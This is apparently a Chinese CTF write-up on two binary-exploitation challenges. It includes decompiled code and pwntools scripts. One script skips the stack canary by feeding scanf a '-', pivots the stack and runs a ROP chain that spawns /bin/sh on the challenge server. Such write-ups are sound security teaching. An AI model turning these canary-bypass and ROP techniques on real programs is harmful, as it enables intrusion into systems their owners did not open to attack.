0x00 老乡鸡CTF,奇妙的组合,遂打来玩玩
0x01 bad-with-numbers 没啥好说的,过于简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "challenge.cyclens.tech" port = 30100 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() payload = b'0\x00' + b'\x00' *0x30 io.send(payload + b'\n' ) io.interactive()
0x02 hard-oob 1 2 3 4 5 6 7 8 9 10 11 int __fastcall main (int argc, const char **argv, const char **envp) { setup(); puts ("Very well then lets learn to input a string but length matters? Nah" ); puts ("Here goes the string" ); read(0LL , &buf_0, 216LL ); getInt(); close(1LL ); close(2LL ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 getInt () { int v0; int v1; int v2; char v4; int i; unsigned int v6; _DWORD v7[10 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); puts ("Give some space for the array to fit in the stack\nEnter the integers for now... \n" ); for ( i = 0 ; i <= 17 ; ++i ) _isoc99_scanf((unsigned int )"%d" , (unsigned int )&v7[i], 4 * i, v0, v1, v2, v4); return v6; }
静态链接,明显的栈溢出;有canary 这里 canary的绕过确实卡了我一会,没有leak的方法,但检索到了一个关于scanf绕过canary的小trick:https://ir0nstone.gitbook.io/notes/misc/scanf-bypasses 当scanf以%d/%ld读取时,输入一个负号-可以使其不改变内存直接跳过本次读取,可以用于跳过canary,同理%f/%lf可以使用小数点.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "challenge.cyclens.tech" port = 30640 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *0x401e90 set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() pop_rax_ret = 0x451d37 pop_rdi_ret = 0x4018ea pop_rsi_ret = 0x40f34e pop_rdx_ret = 0x4017ef ret = pop_rdi_ret + 1 leave_ret = 0x401e90 syscall = 0x4012e3 ropchain = b'/bin/sh\x00' + p64(pop_rax_ret) + p64(59 ) +\ p64(pop_rdi_ret) + p64(0x4e2320 ) + p64(pop_rsi_ret) +\ p64(0 ) + p64(pop_rdx_ret) + p64(0 ) + p64(syscall) ropchain = ropchain.ljust(216 , b'\x00' ) io.recvuntil(b'string' ) io.send(ropchain) io.recvuntil(b'... \n' ) for _ in range (12 ): io.send(b'-\n' ) io.send(str (0x4e2320 ).encode() + b'\n' ) io.send(b'0\n' ) io.send(str (leave_ret).encode() + b'\n' ) io.send(b'0\n' ) io.send(b'0\n' ) io.send(b'0\n' ) io.interactive()